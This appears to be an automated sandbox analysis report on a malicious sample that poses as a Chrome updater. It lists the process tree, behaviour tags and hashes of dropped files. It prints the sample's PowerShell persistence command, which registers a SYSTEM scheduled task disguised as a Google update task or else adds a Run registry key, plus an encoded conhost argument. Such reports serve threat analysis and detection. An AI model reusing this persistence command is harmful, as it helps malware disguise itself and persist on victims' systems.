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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:64
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:1992
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4424
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1404
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2164 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:5032
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:3056
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Program Files\Google\Chrome\updater.exe
- Size 39KB
- SHA256 792428b8f45ff1554cbbb3678fb90f035754267af02572f9c25a1367821d77e5
- MD5 34495c769eb5a73d91f8bb071160b014
- SHA1 9588a50fec1cefd67338905b5d1ab33e830ddc88
- SHA512 b832ef0d44e1658664a05facd7ce1ac3d76b9871540b562221a6091fbd89de4717eb602dd04ab9110388cb350b98b874015e4cc15f81ccd309c82683ac81f991
- SSDEEP 768:w80qZz2da1pk/0RQj8inRh6UZLyj5pLauwYY94E6l++:L3zCarzIpyj5pLauwYY94E6w+
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files\Google\Chrome\updater.exe
- Size 1.2MB
- SHA256 968464a3a5b6655b5f3dff71c0a6d3fde849f5ced3004c9ffb66da30f5bda10d
- MD5 7a2c40a9fb0802a86c16e00c3792ef35
- SHA1 77ca4b9d0a5f72304aff9a3a426af0ea5fdc7773
- SHA512 8f0590b38d803c54f088469d4d68c9f41a3c368deb34d36addc46c1ace2cbd09d038a104a12a12e90efece66031af437dc29c29ba1ae006cfee110f91e2f1ddb
- SSDEEP 24576:rWVipGdVZjdqVC5jd88FC3bc+uxWV+i+JJi732RuzDhb6Kd5Fe12urmvDavvXt:rWVipAxqo5p88CbXuxWQiSJU320ZW21W
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files\Google\Libs\g.log
- Size 226B
- SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
- MD5 fdba80d4081c28c65e32fff246dc46cb
- SHA1 74f809dedd1fc46a3a63ac9904c80f0b817b3686
- SHA512 b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 8ef7a682dfd99ff5b7e9de0e1be43f0016d68695a43c33c028af2635cc15ecfe
- MD5 440cb38dbee06645cc8b74d51f6e5f71
- SHA1 d7e61da91dc4502e9ae83281b88c1e48584edb7c
- SHA512 3aab19578535e6ba0f6beb5690c87d970292100704209d2dcebddcdd46c6bead27588ef5d98729bfd50606a54cc1edf608b3d15bef42c13b9982aaaf15de7fd6
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 5781f3046b0d978469415a059cf5ceae0e532869e69ab1dffb8ed878bd299b07
- MD5 359d1e37a264703c99ebd01eed362de5
- SHA1 a1122c8bf9848b3371cd191ba540864204d1d845
- SHA512 ce3caa1d2205be8167b7cd48ebf538a9ce8c148643c26a20377894aa15cf00f90b2b5e2ebf35d40a0273c088abc11fe6f010e34691d7fbc4bef8d7e482f5087d
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 4e210dede619a6a139357f24d89df3e27d92519b3cc9bb9fcd0bbb8158f65230
- MD5 d5cbd2fca9cb176ad25444fa061f848d
- SHA1 720cbda940ec7c13e9c0fb6f4725dd281507a94b
- SHA512 fb80bcd8e49fff4d4a4fcb5844691d674cd749cbc84b75feac37b83401b8beff0ee9c6f122f683c98da9b5ab15d4dd803c7e2aea8721f90f60dbb9d19c9a0eb2
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ptw5ganj.lpi.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 4KB
- SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
- MD5 bdb25c22d14ec917e30faf353826c5de
- SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
- SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
- SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
- MD5 b42c70c1dbf0d1d477ec86902db9e986
- SHA1 1d1c0a670748b3d10bee8272e5d67a4fabefd31f
- SHA512 57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
- MD5 SHA1 SHA512